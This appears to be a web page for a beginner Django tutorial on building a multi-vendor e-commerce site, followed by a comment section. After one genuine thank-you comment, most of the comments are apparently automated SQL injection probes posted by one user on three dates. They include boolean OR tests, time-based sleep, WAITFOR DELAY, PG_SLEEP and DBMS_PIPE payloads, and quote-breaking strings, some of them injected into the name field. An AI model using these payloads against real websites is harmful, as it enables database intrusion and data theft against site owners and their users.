In this part, we will set up the project, create base pages, set up database models and much more.
In the "bottom", this project is a regular e-commerce website. But with multiple vendors, people can sign up and sell products on your website.
This series is intended for beginners, but if this is the first time you try Django, it might be a bit hard to follow along.
I build the e-commerce website without a script, so I include everything for debugging, googling for answers and similar.
Nidvik | Jul 30, 24 06:45
I learned a lot from this tutorial. Thank you
EFSArCBy | Jul 02, 26 11:46
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
-1 OR 2+635-635-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:49
-1 OR 2+998-998-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:49
-1' OR 2+820-820-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:49
-1' OR 2+480-480-1=0+0+0+1 or 'aCemrLOp'='
EFSArCBy | Jul 02, 26 11:49
-1" OR 2+52-52-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:49
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:49
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:49
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:49
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:49
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:49
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:49
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:49
555W5Ks33rA'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:49
555-1 OR 527=(SELECT 527 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
555-1) OR 26=(SELECT 26 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
555-1)) OR 728=(SELECT 728 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
555wbmX2xnx' OR 692=(SELECT 692 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
5552vmUH5KE') OR 94=(SELECT 94 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
555fUClrCFK')) OR 923=(SELECT 923 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:49
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:49
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555'"
EFSArCBy | Jul 02, 26 11:49
@@0Rcyq
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
-1 OR 2+42-42-1=0+0+0+1 -- | Jul 02, 26 11:49
555
-1 OR 2+459-459-1=0+0+0+1 | Jul 02, 26 11:49
555
-1' OR 2+262-262-1=0+0+0+1 -- | Jul 02, 26 11:49
555
-1' OR 2+712-712-1=0+0+0+1 or 'QN6G9wib'=' | Jul 02, 26 11:49
555
-1" OR 2+551-551-1=0+0+0+1 -- | Jul 02, 26 11:49
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:49
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:49
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:49
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:49
555
EFSArCByA8zP8VBg'; waitfor delay '0:0:15' -- | Jul 02, 26 11:49
555
EFSArCByMqtIQfVW' OR 762=(SELECT 762 FROM PG_SLEEP(15))-- | Jul 02, 26 11:49
555
EFSArCByIBf9NMdd') OR 193=(SELECT 193 FROM PG_SLEEP(15))-- | Jul 02, 26 11:49
555
EFSArCBy2rvYlvqL')) OR 114=(SELECT 114 FROM PG_SLEEP(15))-- | Jul 02, 26 11:49
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy'" | Jul 02, 26 11:49
555
@@hMnN4 | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:49
555
EFSArCBy | Jul 02, 26 11:50
555
EFSArCBy | Jul 21, 26 12:43
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
-1 OR 2+612-612-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:44
-1 OR 2+914-914-1=0+0+0+1
EFSArCBy | Jul 21, 26 12:44
-1' OR 2+979-979-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:44
-1' OR 2+262-262-1=0+0+0+1 or 'XSYFoD5m'='
EFSArCBy | Jul 21, 26 12:44
-1" OR 2+778-778-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:44
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 21, 26 12:44
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 21, 26 12:44
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 21, 26 12:44
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 21, 26 12:44
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:44
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:44
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:44
555vVGPbRhQ'; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:44
555-1 OR 703=(SELECT 703 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
555-1) OR 274=(SELECT 274 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
555-1)) OR 997=(SELECT 997 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
5551Nv6cq5z' OR 307=(SELECT 307 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
555pXGNvzlm') OR 251=(SELECT 251 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
555k453b1wp')) OR 184=(SELECT 184 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:44
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 21, 26 12:44
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555'"
EFSArCBy | Jul 21, 26 12:44
@@YkIdi
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:44
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
-1 OR 2+92-92-1=0+0+0+1 -- | Jul 21, 26 12:45
555
-1 OR 2+968-968-1=0+0+0+1 | Jul 21, 26 12:45
555
-1' OR 2+919-919-1=0+0+0+1 -- | Jul 21, 26 12:45
555
-1' OR 2+12-12-1=0+0+0+1 or 'WDEoY5vp'=' | Jul 21, 26 12:45
555
-1" OR 2+800-800-1=0+0+0+1 -- | Jul 21, 26 12:45
555
if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:45
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:45
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:45
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:45
555
EFSArCByD3Ct1ZoQ'; waitfor delay '0:0:15' -- | Jul 21, 26 12:45
555
EFSArCBygi5bZA5Z' OR 49=(SELECT 49 FROM PG_SLEEP(15))-- | Jul 21, 26 12:45
555
EFSArCBytNm6vu9S') OR 472=(SELECT 472 FROM PG_SLEEP(15))-- | Jul 21, 26 12:45
555
EFSArCBy6CoHzf71')) OR 94=(SELECT 94 FROM PG_SLEEP(15))-- | Jul 21, 26 12:45
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy'" | Jul 21, 26 12:45
555
@@sFkV4 | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 21, 26 12:45
555
EFSArCBy | Jul 23, 26 03:39
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
-1 OR 2+565-565-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:41
-1 OR 2+106-106-1=0+0+0+1
EFSArCBy | Jul 23, 26 03:41
-1' OR 2+212-212-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:41
-1' OR 2+185-185-1=0+0+0+1 or 'dQ1I1t5C'='
EFSArCBy | Jul 23, 26 03:41
-1" OR 2+58-58-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:41
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 03:41
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 03:41
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 03:41
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 03:41
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:41
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:41
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:41
5557WNL7y0v'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:41
555-1 OR 358=(SELECT 358 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
555-1) OR 878=(SELECT 878 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
555-1)) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
555bMWwNRZD' OR 460=(SELECT 460 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
5555LSeJube') OR 907=(SELECT 907 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
5557y6AkDZQ')) OR 841=(SELECT 841 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:41
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 03:41
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555'"
EFSArCBy | Jul 23, 26 03:41
@@rNTWi
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
-1 OR 2+627-627-1=0+0+0+1 -- | Jul 23, 26 03:41
555
-1 OR 2+28-28-1=0+0+0+1 | Jul 23, 26 03:41
555
-1' OR 2+195-195-1=0+0+0+1 -- | Jul 23, 26 03:41
555
-1' OR 2+132-132-1=0+0+0+1 or 'gMMpt2ir'=' | Jul 23, 26 03:41
555
-1" OR 2+446-446-1=0+0+0+1 -- | Jul 23, 26 03:41
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:41
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:41
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:41
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:41
555
EFSArCByBalh0YQB'; waitfor delay '0:0:15' -- | Jul 23, 26 03:41
555
EFSArCByyVVyVa7a' OR 971=(SELECT 971 FROM PG_SLEEP(15))-- | Jul 23, 26 03:41
555
EFSArCByiJUUOfPD') OR 632=(SELECT 632 FROM PG_SLEEP(15))-- | Jul 23, 26 03:41
555
EFSArCByQIhqmB3H')) OR 55=(SELECT 55 FROM PG_SLEEP(15))-- | Jul 23, 26 03:41
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy'" | Jul 23, 26 03:41
555
@@StaWl | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555
EFSArCBy | Jul 23, 26 03:41
555